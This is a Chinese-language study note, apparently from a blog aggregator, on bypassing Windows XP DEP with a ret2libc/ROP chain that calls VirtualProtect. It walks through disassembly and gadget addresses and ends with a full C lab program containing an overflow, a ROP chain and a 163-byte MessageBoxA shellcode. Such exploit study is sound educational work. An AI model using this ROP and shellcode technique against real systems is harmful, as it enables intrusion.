OD: DEP - Ret2Libc using VirtualProtect

DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误。为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP。

BOOL VirtualProtect{
    LPVOID lpAddress,        // 需要修改属性的内存的起始地址
    DWORD  dwSize,           // 大小
    DWORD  flNewProtect,     // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
    PDWORD lpflOldProtect    // 原始属性的保存地址
};

接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。

VirtualProtect() 函数的反汇编代码如下:

 1 7C801AD4 > 8BFF             MOV EDI,EDI                      ; ret2libc.004034F8
 2 7C801AD6   55               PUSH EBP
 3 7C801AD7   8BEC             MOV EBP,ESP
 4 7C801AD9   FF75 14          PUSH DWORD PTR SS:[EBP+14]       ; 设置参数 lpflOldProtect
 5 7C801ADC   FF75 10          PUSH DWORD PTR SS:[EBP+10]       ; 设置参数 flNewProtect : 0x40
 6 7C801ADF   FF75 0C          PUSH DWORD PTR SS:[EBP+C]        ; 设置参数 dwSize
 7 7C801AE2   FF75 08          PUSH DWORD PTR SS:[EBP+8]        ; 设置参数 lpAddress
 8 7C801AE5   6A FF            PUSH -1
 9 7C801AE7   E8 75FFFFFF      CALL kernel32.VirtualProtectEx   ; 转入 VirtualProtectEx()
10 7C801AEC   5D               POP EBP
11 7C801AED   C2 1000          RETN 10

由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。

接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。

关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。

shellcode 如下:

1 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
2 ......
3 "\xE5\xE0\x72\x7D"    // return address, adjust ebp : push esp, pop ebp, retn 4
4 "\x40\x26\xD8\x7D"    // retn
5 "\x90\x90\x90\x90"
6 "\x4A\xD4\xB8\x7D"    // push esp call edi

这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。然后再考虑在 ebp+0x14 写入可写的指针:

1 "\x21\xAf\xCB\x7D"    // return address : pop edi retn
2 "\x40\x12\x5A\x78"    // pop ecx,pop ebx,pop eax,retn
3 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
4 "\x40\x26\xD8\x7D"    // retn
5 "\x90\x90\x90\x90"
6 "\x0A\xDC\xBA\x7D"    // push esp jmp edi(pop ecx,pop ebx,pop eax,retn)
 1 // ret2libc.cpp : Defines the entry point for the console application.
 2 //
 3 // env
 4 //   * windows xp sp3 with /noexecute=optout
 5 //   * vs2008 with Optimization/GS/SafeSEH disabled
 6 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line
 7
 8 #include "stdafx.h"
 9 #include <stdlib.h>
10 #include <string.h>
11 #include <stdio.h>
12 #include <windows.h>
13
14 char shellcode[]=
15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
25 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
26 "\x94\xB0\x6C\x7D"    // pop eax retn
27 "\x69\x36\x5C\x7D"    // pop edi,pop ebx,pop esi,retn
28 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
29 "\x6C\x36\x5C\x7D"    // retn
30 "\x90\x90\x90\x90"
31 "\xC6\xC6\xEB\x77"    // push esp jmp eax
32 "\xFF\x00\x00\x00"    // size of memory-to-chmod
33 "\x40\x00\x00\x00"    // attributes of memory-to-chmod
34 "\xC6\xC6\xEB\x77"    // push esp jmp eax
35 "\x90\x90\x90\x90"
36 "\x90\x90\x90\x90"
37 "\xD9\x1A\x80\x7C"    // chmod memory : VirtualProtect() ends with pop ebp, retn 10
38 "\x90\x90\x90\x90"
39 "\xEB\x30\x5A\x7D"    // jmp esp
40 "\x90\x90\x90\x90"
41 "\x90\x90\x90\x90"
42 "\x90\x90\x90\x90"
43 "\x90\x90\x90\x90"
44 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
45 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
46 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
47 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
48 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
49 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
50 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
51 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
52 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
53 "\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
54 "\xFF\x57\xF8"     // 163 bytes pop window shellcode (MessageBoxA)
55 ;
56 void test()
57 {
58     char str[168];
59     memcpy(str,shellcode,425);
60 }
61 int main()
62 {
63     char tmp[1024];
64     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));  // for more tramp opcode
65     //VirtualProtect(0,0,0,0);
66     test();
67     return 0;
68 }

Hint :

一,在 /NoExec=OptOut 的情况下,需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中

二,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File

三,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!

时间: 2024-08-28 11:54:39

OD: DEP - Ret2Libc using VirtualProtect的相关文章

OD: DEP &amp; Ret2Libc

Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行,当试图执行不可执行页的数据时,CPU 抛出异常,转入异常处理. MS 从 Windows XP sp2 开始支持 DEP.DEP 分为软件 DEP 和硬件 DEP,软件 DEP 即 SafeSEH.硬件 DEP 需要 CPU 的支持:AMD 和 Intel 都为此做了设计,AMD 称为 No-Exe

Linux下利用Ret2Libc绕过DEP

Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell. ⑵.环境准备: i.漏洞代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void flow()

Ret2Libc 练习(1) -- ZwSetInformationProcess

花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的指令,形成一个可执行的指令序列,达到成功执行shellcode的目的. 那么利用Ret2libc的第一个方法就是通过ZwSetInformationProcess函数,这个API可以直接将进程中的DEP保护关闭,执行shellcode. 首先需要了解的是一个进程的DEP标识是在KPROCESS结构中

safeseh+dep保护绕过

[文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       : xp sp3 [工具]              :windbg, immunity Debugger,mona等 ps:这个程序是前两年xx比赛的题目,肯定有朋友玩过了,要求是利用seh进行漏洞利用,同时开启dep保护. 我想,那时我应该在玩泥巴,不知道啥叫crack,fuzz,漏洞挖掘利用等

使用ret2libc攻击方法绕过数据执行保护

前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行.要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷. 数据执行保护机制 DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性.DEP特性需要硬件页表机制来提供支持. X86 32位架构页表上没有NX(不可执行)位,只有X8

OD: Windows Security Techniques &amp; GS Bypassing via C++ Virtual Function

Windows 安全机制 漏洞的万源之本在于冯诺依曼设计的计算机模型没有将代码和数据进行区分——病毒.加壳脱壳.shellcode.跨站脚本攻击.SQL注入等都是因为计算机把数据和代码混淆这一天然缺陷而造成的. Windows XP SP2 之前的系统致力于系统稳定性,忽略安全性:之后的 Windows 系统系统加入了独特的安全性设计: 1. GS 编译技术:函数返回地址之前加入了 Security Cookie,返回之前首先检测 cookie 是否正确,栈溢出难度增加. 2. 增加了对 S.E

构建ROP链-绕过 DEP 保护

在缓冲区溢出与攻防博弈中总结了攻防博弈的过程,而最让黑客们头疼的莫过于DEP保护了,DEP 数据执行保护,其基本原理是将数据所在内存页标识为不可执行,如果程序尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意代码,针对这样的保护措施同样也有突破的方式,本次实验将通过使用ROP技术,并配合 virtualprotect() 函数来突破DEP保护的限制. 理解 ROP 返回导向编程 通过 ROP 运行ShellCode 原文地址:https://www.cnblogs.com/LyS

[linux命令] od命令

参考网址:http://man.linuxde.net/od 语法 od(选项)(参数) od(选项)(参数) -a:此参数的效果和同时指定"-ta"参数相同: -A:<字码基数>:选择以何种基数计算字码: -b:此参数的效果和同时指定"-toC"参数相同: -c:此参数的效果和同时指定"-tC"参数相同: -d:此参数的效果和同时指定"-tu2"参数相同: -f:select floats -h:此参数的效果和同

od的用法

一.功能 查看非文本文档的内容 二.用法 1.语法 od [-A RADIX] [-t TYPE] 文件名 2.选项与参数 -A: 指定偏移量的输出形式 d[size] :利用十进制(decimal)输出数据,每个整数占用 size bytes ;o[size] :利用八进制(octal)输出数据,每个整数占用 size bytes ;x[size] :利用十六进制(hexadecimal)输出数据,每个整数占用 size bytes ; -t :后面可以接各种类型 (TYPE)的输出 a: 利